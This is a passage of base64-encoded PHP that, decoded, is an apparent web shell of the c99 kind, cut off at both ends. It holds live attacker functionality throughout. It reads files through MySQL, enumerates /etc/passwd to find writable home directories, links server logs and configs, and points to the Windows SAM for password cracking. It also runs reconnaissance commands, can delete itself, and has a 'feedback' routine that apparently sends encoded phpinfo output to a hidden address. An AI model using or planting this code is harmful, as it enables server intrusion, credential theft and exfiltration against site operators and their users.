E8YnI+IjsKCX0gZWxzZSB7CgllY2hvICJGaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiOjxicj4iLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJGYpKS4iPGJyPiI7fSAKICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOyAKICAgICAgIG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIHRtcF9maWxlOyIpOyAKICAgICAgfSAKICAgICB9IAogICAgIG15c3FsX2Ryb3BfZGIoJHRtcGRiKTsgLy9jb21tZW50IGl0IGlmIHlvdSB3YW50IHRvIGxlYXZlIGRhdGFiYXNlIAogICAgfSAKICAgfSAKICB9IAogfSAKIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7IAogaWYgKCRzcWxfc29jaykgCiB7IAogICRhZmZlY3RlZCA9IEBteXNxbF9hZmZlY3RlZF9yb3dzKCRzcWxfc29jayk7IAogIGlmICgoIWlzX251bWVyaWMoJGFmZmVjdGVkKSkgb3IgKCRhZmZlY3RlZCA8IDApKXskYWZmZWN0ZWQgPSAwO30gCiAgZWNobyAiPHRyPjx0ZD48Y2VudGVyPkluZmVjdGVkIHJvd3M6ICIuJGFmZmVjdGVkLiI8L2NlbnRlcj48L3RkPjwvdHI+IjsgCiB9IAogZWNobyAiPC90YWJsZT4iOyAKfSAKaWYgKCR4dHV4ID09ICJta2RpciIpIAp7IAogaWYgKCRta2RpciAhPSAkZCkgCiB7IAogIGlmIChmaWxlX2V4aXN0cygkbWtkaXIpKSB7ZWNobyAiTWFrZSBEaXIgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZGlyKS4iXCI6IG9iamVjdCBhbHJlZHkgZXhpc3RzIjt9IAogIGVsc2VpZiAoIW1rZGlyKCRta2RpcikpIHtlY2hvICJNYWtlIERpciBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtkaXIpLiJcIjogYWNjZXNzIGRlbmllZCI7fSAKICBlY2hvICI8YnI+PGJyPiI7IAogfSAKICR4dHV4ID0gJGRzcGFjdCA9ICJscyI7IAp9IAppZiAoJHh0dXggPT0gImQiKSAKeyAKIGlmICghaXNfZGlyKCRkKSkge2VjaG8gIjxjZW50ZXI+UGVybWlzaW9uIGRlbmllZCE8L2NlbnRlcj4iOwoJfSBlbHNlIHsgCiAgZWNobyAiRGlyZWN0b3J5IGluZm9ybWF0aW9uOjx0YWJsZSBib3JkZXI9MCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+IjsgCiAgaWYgKCEkd2luKSAKICB7IAogICBlY2hvICI8dHI+PHRkPk93bmVyL0dyb3VwPC90ZD48dGQ+ICI7IAogICAkb3cgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGQpKTsgCiAgICRnciA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZCkpOyAKICAgJHJvd1tdID0gKCRvd1sibmFtZSJdPyRvd1sibmFtZSJdOmZpbGVvd25lcigkZCkpLiIvIi4oJGdyWyJuYW1lIl0/JGdyWyJuYW1lIl06ZmlsZWdyb3VwKCRkKSk7IAogIH0gCiAgZWNobyAiPHRyPjx0ZD5QZXJtczwvdGQ+PHRkPjxhIGhyZWY9XCIiLiRzdXJsLiJ4dHV4PWNobW9kJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2E+PHRyPjx0ZD5DcmVhdGUgdGltZTwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQpKS4iPC90ZD48L3RyPjx0cj48dGQ+QWNjZXNzIHRpbWU8L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWF0aW1lKCRkKSkuIjwvdGQ+PC90cj48dHI+PHRkPk1PRElGWSB0aW1lPC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVtdGltZSgkZCkpLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsgCiB9IAp9CmlmICgkeHR1eCA9PSAiZmluZGVyIikgewokY291bnQ9MDsKc2V0X3RpbWVfbGltaXQoMCk7CkAkcGFzc3dkPWZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsKaWYgKCEkcGFzc3dkKSB7CiAgIGVjaG8gIlstXSBObyBBY2Nlc3MgdG8gL2V0Yy9wYXNzd2RcblxyIjsKICAgZXhpdDsKfQokcGF0aF90b19wdWJsaWM9YXJyYXkoKTsKZWNobyAiPGh0bWw+XG5cciI7CndoaWxlKCFmZW9mKCRwYXNzd2QpKSB7CiAgJHN0cj1mZ2V0cygkcGFzc3dkKTsKICAgICRwb3M9c3RycG9zKCRzdHIsIjoiKTsKICAgICR1c2VybmFtZT1zdWJzdHIoJHN0ciwwLCRwb3MpOwogICAgJGRpcno9Ii9ob21lLyR1c2VybmFtZS9wdWJsaWNfaHRtbC8iOwogICAgaWYgKCgkdXNlcm5hbWUhPSIiKSkgewogICAgICAgIGlmIChpc19yZWFkYWJsZSgkZGlyeikpIHsKICAgICAgICAgYXJyYXlfcHVzaCgkcGF0aF90b19wdWJsaWMsJGRpcnopOwogICAgICAgICBpZiAoaXNfd3JpdGVhYmxlKCRkaXJ6KSkgewogICAgICAgICAgICAkY291bnQrKzsKICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPls8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+UjwvZm9udD48Zm9udCBjb2xvcj1ncmVlbj5XPC9mb250Pjxmb250IGNvbG9yPXJlZD5dPC9mb250PiAiIC4gJGRpcnogLiAiPGJyPlxuXHIiOwogICAgICAgICB9IGVsc2UKCWVjaG8gIjxmb250IGNvbG9yPXJlZD5bPC9mb250Pjxmb250IGNvbG9yPXdoaXRlPlI8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPl08L2ZvbnQ+ICIgLiAkZGlyeiAuICI8YnI+XG5cciI7CiAgICAgICAgfQogICAgfQp9CmVjaG8gIlsrXSBGb3VuZCAiIC4gc2l6ZW9mKCRwYXRoX3RvX3B1YmxpYykgLiAiIHJlYWRhYmxlIHB1YmxpY19odG1sIGRpcmVjdG9yaWVzLjxicj48YnI+XG5cclxuXHIiOwpmdW5jdGlvbiByZWFkX2RpcigkcGF0aCkgewogICBnbG9iYWwgJGNvdW50OwogICBpZiAoJGhhbmRsZSA9IG9wZW5kaXIoJHBhdGgpKSB7CiAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsKICAgICAgICAgJGRyPSIkcGF0aCRmaWxlLyI7CiAgICAgICAgIGlmICgoJGZpbGUhPScuJykgYW5kICgkZmlsZSE9Jy4uJykgYW5kIGlzX2RpcigkZHIpKSB7CiAgICAgICAgICBpZiAoaXNfcmVhZGFibGUoJGRyKSBhbmQgaXNfd3JpdGVhYmxlKCRkcikpIHsKICAgICAgICAgICAgZWNobyAiW1JXXSAiIC4gJGRyIC4gIjxicj5cblxyIjsKICAgICAgICAgICAgICRjb3VudCsrOwogICAgICAgICAgfQogICAgICAgIHJlYWRfZGlyKCRkcik7CiAgICAgICB9CiAgICAgfQogICB9CiB9Cn0KaWYgKCR4dHV4ID09ICJwaHBpbmZvIikge0BvYl9jbGVhbigpOyBwaHBpbmZvKCk7IFR1WGV4aXQoKTt9IAppZiAoJHh0dXggPT0gInNlY3VyaXR5IikgCnsgCmVjaG8gIjxjZW50ZXI+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uOjwvY2VudGVyPk9wZW4gYmFzZSBkaXI6ICIuJGhvcGVuYmFzZWRpci4iPGJyPiI7IAppZiAoISR3aW4pIAp7IAppZiAoJG5peHBhc3N3ZCkgCnsgCmlmICgkbml4cGFzc3dkID09IDEpIHskbml4cGFzc3dkID0gMDt9IAplY2hvICIqbml4IC9ldGMvcGFzc3dkOjxicj4iOyAKaWYgKCFpc19udW1lcmljKCRuaXhwd2RfcykpIHskbml4cHdkX3MgPSAwO30gCmlmICghaXNfbnVtZXJpYygkbml4cHdkX2UpKSB7JG5peHB3ZF9lID0gJG5peHB3ZHBlcnBhZ2U7fSAKZWNobyAiPGZvcm0gYWN0aW9uPVwiIi4kc3VybC4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJ4dHV4XCIgdmFsdWU9XCJzZWN1cml0eVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwibml4cGFzc3dkXCIgdmFsdWU9XCIxXCI+RnJvbTombmJzcDs8aW5wdXQgdHlwZT1cInRleHQ9XCIgbmFtZT1cIm5peHB3ZF9zXCIgdmFsdWU9XCIiLiRuaXhwd2Rfcy4iXCI+Jm5ic3A7VG86Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5peHB3ZF9lXCIgdmFsdWU9XCIiLiRuaXhwd2RfZS4iXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiVmlld1wiPjwvZm9ybT48YnI+IjsgCiAgICRpID0gJG5peHB3ZF9zOyAKICAgd2hpbGUgKCRpIDwgJG5peHB3ZF9lKSAKICAgeyAKICAgICR1aWQgPSBwb3NpeF9nZXRwd3VpZCgkaSk7IAogICAgaWYgKCR1aWQpIAogICAgeyAKICAgICAkdWlkWyJkaXIiXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieHR1eD1scyZkPSIudXJsZW5jb2RlKCR1aWRbImRpciJdKS4iXCI+Ii4kdWlkWyJkaXIiXS4iPC9hPiI7IAogICAgIGVjaG8gam9pbigiOiIsJHVpZCkuIjxicj4iOyAKICAgIH0gCiAgICAkaSsrOyAKICAgfSAKfSBlbHNlIHsKZWNobyAiPGJyPjxhIGhyZWY9XCIiLiRzdXJsLiJ4dHV4PXNlY3VyaXR5Jm5peHBhc3N3ZD0xJmQ9Ii4kdWQuIlwiPjx1PkdldCAvZXRjL3Bhc3N3ZDwvdT48L2E+PGJyPiI7fSAKfSBlbHNlIHsgCiR2ID0gJF9TRVJWRVJbIldJTkRJUiJdLiJccmVwYWlyXHNhbSI7IAppZiAoZmlsZV9nZXRfY29udGVudHMoJHYpKSB7IGVjaG8gIjxmb250IGNvbG9yPXJlZD5Zb3UgY2FuJ3QgY3JhY2sgd2lubnQgcGFzc3dvcmRzKCIuJHYuIikgPC9mb250Pjxicj4iOwp9IGVsc2UgewplY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5Zb3UgY2FuIGNyYWNrIHdpbm50IHBhc3N3b3Jkcy4gPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9ZiZmPXNhbSZkPSIuJF9TRVJWRVJbIldJTkRJUiJdLiJcXHJlcGFpciZmdD1kb3dubG9hZFwiPjx1PkRvd25sb2FkPC91PjwvYT4sIGFuZCB1c2UgbGNwLmNyYWNrKyA/LjwvZm9udD48YnI+Ijt9IAp9IAogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL3VzZXJkb21haW5zIikpIHtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4ieHR1eD1mJmY9dXNlcmRvbWFpbnMmZD0iLnVybGVuY29kZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+VmlldyBjcGFuZWwgdXNlci1kb21haW5zIGxvZ3M8L3U+PC9hPjwvZm9udD48YnI+Ijt9IAogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvdmFyL2NwYW5lbC9hY2NvdW50aW5nLmxvZyIpKSB7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9ZiZmPWFjY291bnRpbmcubG9nJmQ9Ii51cmxlbmNvZGUoIi92YXIvY3BhbmVsLyIpLiJcIiZmdD10eHQ+PHU+VmlldyBjcGFuZWwgbG9nczwvdT48L2E+PC9mb250Pjxicj4iO30gCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi91c3IvbG9jYWwvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIpKSB7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9ZiZmPWh0dHBkLmNvbmYmZD0iLnVybGVuY29kZSgiL3Vzci9sb2NhbC9hcGFjaGUvY29uZiIpLiImZnQ9dHh0XCI+PHU+QXBhY2hlIGNvbmZpZ3VyYXRpb24gKGh0dHBkLmNvbmYpPC91PjwvYT48L2ZvbnQ+PGJyPiI7fSAKIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9odHRwZC5jb25mIikpIHtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4ieHR1eD1mJmY9aHR0cGQuY29uZiZkPSIudXJsZW5jb2RlKCIvZXRjIikuIiZmdD10eHRcIj48dT5BcGFjaGUgY29uZmlndXJhdGlvbiAoaHR0cGQuY29uZik8L3U+PC9hPjwvZm9udD48YnI+Ijt9IAogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL3N5c2xvZy5jb25mIikpIHtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPVwiIi4kc3VybC4ieHR1eD1mJmY9c3lzbG9nLmNvbmYmZD0iLnVybGVuY29kZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+U3lzbG9nIGNvbmZpZ3VyYXRpb24gKHN5c2xvZy5jb25mKTwvdT48L2E+PC9mb250Pjxicj4iO30gCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbW90ZCIpKSB7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9ZiZmPW1vdGQmZD0iLnVybGVuY29kZSgiL2V0YyIpLiImZnQ9dHh0XCI+PHU+TWVzc2FnZSBPZiBUaGUgRGF5PC91PjwvYT48L2ZvbnQ+PGJyPiI7fSAKIGlmIChmaWxlX2dldF9jb250ZW50cygiL2V0Yy9ob3N0cyIpKSB7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+PGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9ZiZmPWhvc3RzJmQ9Ii51cmxlbmNvZGUoIi9ldGMiKS4iJmZ0PXR4dFwiPjx1Pkhvc3RzPC91PjwvYT48L2ZvbnQ+PGJyPiI7fSAKIGZ1bmN0aW9uIGRpc3BsYXlzZWNpbmZvKCRuYW1lLCR2YWx1ZSkge2lmICghZW1wdHkoJHZhbHVlKSkge2lmICghZW1wdHkoJG5hbWUpKSB7JG5hbWUgPSAiIi4kbmFtZS4iIC0gIjt9IGVjaG8gJG5hbWUubmwyYnIoJHZhbHVlKS4iPGJyPiI7fX0gCiBkaXNwbGF5c2VjaW5mbygiT1MgVmVyc2lvbj8iLG8yeGRhZXhlYygiY2F0IC9wcm9jL3ZlcnNpb24iKSk7IAogZGlzcGxheXNlY2luZm8oIktlcm5lbCB2ZXJzaW9uPyIsbzJ4ZGFleGVjKCJzeXNjdGwgLWEgfCBncmVwIHZlcnNpb24iKSk7IAogZGlzcGxheXNlY2luZm8oIkRpc3RyaWIgbmFtZSIsbzJ4ZGFleGVjKCJjYXQgL2V0Yy9pc3N1ZS5uZXQiKSk7IAogZGlzcGxheXNlY2luZm8oIkRpc3RyaWIgbmFtZSAoMikiLG8yeGRhZXhlYygiY2F0IC9ldGMvKi1yZWFsaXNlIikpOyAKIGRpc3BsYXlzZWNpbmZvKCJDUFU/IixvMnhkYWV4ZWMoImNhdCAvcHJvYy9jcHVpbmZvIikpOyAKIGRpc3BsYXlzZWNpbmZvKCJSQU0iLG8yeGRhZXhlYygiZnJlZSAtbSIpKTsgCiBkaXNwbGF5c2VjaW5mbygiSEREIHNwYWNlIixvMnhkYWV4ZWMoImRmIC1oIikpOyAKIGRpc3BsYXlzZWNpbmZvKCJMaXN0IG9mIEF0dHJpYnV0ZXMiLG8yeGRhZXhlYygibHNhdHRyIC1hIikpOyAKIGRpc3BsYXlzZWNpbmZvKCJNb3VudCBvcHRpb25zICIsbzJ4ZGFleGVjKCJjYXQgL2V0Yy9mc3RhYiIpKTsgCiBkaXNwbGF5c2VjaW5mbygiSXMgY1VSTCBpbnN0YWxsZWQ/IixvMnhkYWV4ZWMoIndoaWNoIGN1cmwiKSk7IAogZGlzcGxheXNlY2luZm8oIklzIGx5bnggaW5zdGFsbGVkPyIsbzJ4ZGFleGVjKCJ3aGljaCBseW54IikpOyAKIGRpc3BsYXlzZWNpbmZvKCJJcyBsaW5rcyBpbnN0YWxsZWQ/IixvMnhkYWV4ZWMoIndoaWNoIGxpbmtzIikpOyAKIGRpc3BsYXlzZWNpbmZvKCJJcyBmZXRjaCBpbnN0YWxsZWQ/IixvMnhkYWV4ZWMoIndoaWNoIGZldGNoIikpOyAKIGRpc3BsYXlzZWNpbmZvKCJJcyBHRVQgaW5zdGFsbGVkPyIsbzJ4ZGFleGVjKCJ3aGljaCBHRVQiKSk7IAogZGlzcGxheXNlY2luZm8oIklzIHBlcmwgaW5zdGFsbGVkPyIsbzJ4ZGFleGVjKCJ3aGljaCBwZXJsIikpOyAKIGRpc3BsYXlzZWNpbmZvKCJXaGVyZSBpcyBhcGFjaGUiLG8yeGRhZXhlYygid2hlcmVpcyBhcGFjaGUiKSk7IAogZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIHBlcmw/IixvMnhkYWV4ZWMoIndoZXJlaXMgcGVybCIpKTsgCiBkaXNwbGF5c2VjaW5mbygibG9jYXRlIHByb2Z0cGQuY29uZiIsbzJ4ZGFleGVjKCJsb2NhdGUgcHJvZnRwZC5jb25mIikpOyAKIGRpc3BsYXlzZWNpbmZvKCJsb2NhdGUgaHR0cGQuY29uZiIsbzJ4ZGFleGVjKCJsb2NhdGUgaHR0cGQuY29uZiIpKTsgCiBkaXNwbGF5c2VjaW5mbygibG9jYXRlIG15LmNvbmYiLG8yeGRhZXhlYygibG9jYXRlIG15LmNvbmYiKSk7IAogZGlzcGxheXNlY2luZm8oImxvY2F0ZSBwc3libmMuY29uZiIsbzJ4ZGFleGVjKCJsb2NhdGUgcHN5Ym5jLmNvbmYiKSk7IAp9IAppZiAoJHh0dXggPT0gIm1rZmlsZSIpIAp7IAppZiAoJG1rZmlsZSAhPSAkZCkgCnsgCmlmIChmaWxlX2V4aXN0cygkbWtmaWxlKSkge2VjaG8gIk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI6IG9iamVjdCBhbHJlZHkgZXhpc3RzIjt9IAplbHNlaWYgKCFmb3BlbigkbWtmaWxlLCJ3IikpIHtlY2hvICJNYWtlIEZpbGUgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZmlsZSkuIlwiOiBhY2Nlc3MgZGVuaWVkIjsKfSBlbHNlIHsKJHh0dXggPSAiZiI7ICRkID0gZGlybmFtZSgkbWtmaWxlKTsgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fSAkZiA9IGJhc2VuYW1lKCRta2ZpbGUpO30gCn0gZWxzZSB7CiR4dHV4ID0gJGRzcGFjdCA9ICJscyI7fSAKfSAKaWYgKCR4dHV4ID09ICJlbmNvZGVyIikgCnsgCiBlY2hvICI8c2NyaXB0PmZ1bmN0aW9uIHNldF9lbmNvZGVyX2lucHV0KHRleHQpIHtkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmlucHV0LnZhbHVlID0gdGV4dDt9PC9zY3JpcHQ+PGNlbnRlcj5FbmNvZGluZyBUb29sczwvY2VudGVyPgo8Zm9ybSBuYW1lPVwiZW5jb2RlclwiIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXh0dXggdmFsdWU9ZW5jb2Rlcj5JbnB1dDogPGNlbnRlcj48dGV4dGFyZWEgbmFtZT1cImVuY29kZXJfaW5wdXRcIiBpZD1cImlucHV0XCIgY29scz01MCByb3dzPTI+Ii5AaHRtbHNwZWNpYWxjaGFycygkZW5jb2Rlcl9pbnB1dCkuIjwvdGV4dGFyZWE+PC9jZW50ZXI+PGJyPjxicj48Y2VudGVyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cImNhbGN1bGF0ZVwiPjwvY2VudGVyPjxicj48YnI+SGFzaGVzOjxicj48Y2VudGVyPiI7CiBmb3JlYWNoKGFycmF5KCJtZDUiLCJjcnlwdCIsInNoYTEiLCJjcmMzMiIpIGFzICR2KSAKeyAKZWNobyAkdi4iIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTUwIG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuJHYoJGVuY29kZXJfaW5wdXQpLiJcIiByZWFkb25seT48YnI+IjsgCn0gCmVjaG8gIjwvY2VudGVyPlVybDo8Y2VudGVyPjxicj51cmxlbmNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi51cmxlbmNvZGUoJGVuY29kZXJfaW5wdXQpLiJcIiByZWFkb25seT4gCiA8YnI+dXJsZGVjb2RlIC0gPGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycyh1cmxkZWNvZGUoJGVuY29kZXJfaW5wdXQpKS4iXCIgcmVhZG9ubHk+IAogPGJyPjwvY2VudGVyPkJhc2U2NDo8Y2VudGVyPmJhc2U2NF9lbmNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi5iYXNlNjRfZW5jb2RlKCRlbmNvZGVyX2lucHV0KS4iXCIgcmVhZG9ubHk+PC9jZW50ZXI+IjsgCmVjaG8gIjxjZW50ZXI+YmFzZTY0X2RlY29kZSAtICI7IAppZiAoYmFzZTY0X2VuY29kZShiYXNlNjRfZGVjb2RlKCRlbmNvZGVyX2lucHV0KSkgIT0gJGVuY29kZXJfaW5wdXQpIHtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgdmFsdWU9XCJmYWlsZWRcIiBkaXNhYmxlZCByZWFkb25seT4iOwp9IGVsc2UgeyAKCSRkZWJhc2U2NCA9IGJhc2U2NF9kZWNvZGUoJGVuY29kZXJfaW5wdXQpOyAKCSRkZWJhc2U2NCA9IHN0cl9yZXBsYWNlKCJcMCIsIlswXSIsJGRlYmFzZTY0KTsgCgkkYSA9IGV4cGxvZGUoIlxyXG4iLCRkZWJhc2U2NCk7IAoJJHJvd3MgPSBjb3VudCgkYSk7IAoJJGRlYmFzZTY0ID0gaHRtbHNwZWNpYWxjaGFycygkZGViYXNlNjQpOyAKaWYgKCRyb3dzID09IDEpIHtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kZGViYXNlNjQuIlwiIGlkPVwiZGViYXNlNjRcIiByZWFkb25seT4iOwp9IGVsc2Ugewokcm93cysrOyBlY2hvICI8dGV4dGFyZWEgY29scz1cIjQwXCIgcm93cz1cIiIuJHJvd3MuIlwiIG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiBpZD1cImRlYmFzZTY0XCIgcmVhZG9ubHk+Ii4kZGViYXNlNjQuIjwvdGV4dGFyZWE+Ijt9IAogIGVjaG8gIiZuYnNwOzxhIGhyZWY9XCIjXCIgb25jbGljaz1cInNldF9lbmNvZGVyX2lucHV0KGRvY3VtZW50LmZvcm1zLmVuY29kZXIuZGViYXNlNjQudmFsdWUpXCI+XjwvYT4iOyAKIH0gCiBlY2hvICI8L2NlbnRlcj48YnI+QmFzZSBjb252ZXJ0YXRpb25zOjxjZW50ZXI+ZGVjMmhleCAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiOyAKICRjID0gc3RybGVuKCRlbmNvZGVyX2lucHV0KTsgCiBmb3IoJGk9MDskaTwkYzskaSsrKSAKIHsgCiAgJGhleCA9IGRlY2hleChvcmQoJGVuY29kZXJfaW5wdXRbJGldKSk7IAogIGlmICgkZW5jb2Rlcl9pbnB1dFskaV0gPT0gIiYiKSB7ZWNobyAkZW5jb2Rlcl9pbnB1dFskaV07fSAKICBlbHNlaWYgKCRlbmNvZGVyX2lucHV0WyRpXSAhPSAiXFwiKSB7ZWNobyAiJSIuJGhleDt9IAogfSAKIGVjaG8gIlwiIHJlYWRvbmx5Pjxicj48L2NlbnRlcj48L2Zvcm0+IjsKIH0gCmlmICgkeHR1eCA9PSAiZnNidWZmIikgCnsgCiAkYXJyX2NvcHkgPSAkc2Vzc19kYXRhWyJjb3B5Il07IAogJGFycl9jdXQgPSAkc2Vzc19kYXRhWyJjdXQiXTsgCiAkYXJyID0gYXJyYXlfbWVyZ2UoJGFycl9jb3B5LCRhcnJfY3V0KTsgCiBpZiAoY291bnQoJGFycikgPT0gMCkge2VjaG8gIjxjZW50ZXI+QnVmZmVyIGlzIGVtcHR5ITwvY2VudGVyPiI7Cn0gZWxzZSB7CmVjaG8gIkZpbGUtU3lzdGVtIGJ1ZmZlcjxicj48YnI+IjsgJGxzX2FyciA9ICRhcnI7ICRkaXNwX2Z1bGxwYXRoID0gVFJVRTsgJHh0dXggPSAibHMiO30gCn0gCmlmICgkeHR1eCA9PSAic2VsZnJlbW92ZSIpIAp7IAppZiAoKCRzdWJtaXQgPT0gJHJuZGNvZGUpIGFuZCAoJHN1Ym1pdCAhPSAiIikpIAp7IAppZiAodW5saW5rKF9fRklMRV9fKSkge0BvYl9jbGVhbigpOyBlY2hvICJTZWUgdSEiOyBUdVhleGl0KCk7Cn0gZWxzZSB7CmVjaG8gIjxjZW50ZXI+Q2FuJ3QgZGVsZXRlICIuX19GSUxFX18uIiE8L2NlbnRlcj4iO30gCn0gZWxzZSB7IAppZiAoIWVtcHR5KCRybmRjb2RlKSkge2VjaG8gIkVycm9yOiBpbmNvcnJlY3QgY29uZmltYXRpb24hIjt9IAokcm5kID0gcmFuZCgwLDkpLnJhbmQoMCw5KS5yYW5kKDAsOSk7IAplY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14dHV4IHZhbHVlPXNlbGZyZW1vdmU+RGVzdHJveTogIi5fX0ZJTEVfXy4iIDxicj5BcmUgeW91IHN1cmU/PGJyPkZvciBjb25maXJtYXRpb24sIGVudGVyIFwiIi4kcm5kLiJcIjombmJzcDs8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1ybmRjb2RlIHZhbHVlPVwiIi4kcm5kLiJcIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3VibWl0PiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIllFU1wiPjwvZm9ybT4iOyAKIH0gCn0gCmlmICgkeHR1eCA9PSAiZmVlZGJhY2siKSAKeyAKJHN1cHBtYWlsID0gYmFzZTY0X2RlY29kZSgiWkhKcFpUZzRRR041WW1WeWMyVnlkbWxqWlhNdVkyOXQiKTsgCmlmICghZW1wdHkoJHN1Ym1pdCkpIAp7IAokdGlja2V0ID0gc3Vic3RyKG1kNShtaWNyb3RpbWUoKStyYW5kKDEsMTAwMCkpLDAsNik7IAokYm9keSA9ICJmZWVkYmFjayAjIi4kdGlja2V0LiJcbk5hbWU6ICIuaHRtbHNwZWNpYWxjaGFycygkZmRia19uYW1lKS4iXG5FLW1haWw6ICIuaHRtbHNwZWNpYWxjaGFycygkZmRia19lbWFpbCkuIlxuTWVzc2FnZTpcbiIuaHRtbHNwZWNpYWxjaGFycygkZmRia19ib2R5KS4iXG5cbklQOiAiLiRSRU1PVEVfQUREUjsgCmlmICghZW1wdHkoJGZkYmtfcmVmKSkgCnsgCiR0bXAgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IApvYl9jbGVhbigpOyAKcGhwaW5mbygpOyAKJHBocGluZm8gPSBiYXNlNjRfZW5jb2RlKG9iX2dldF9jb250ZW50cygpKTsgCm9iX2N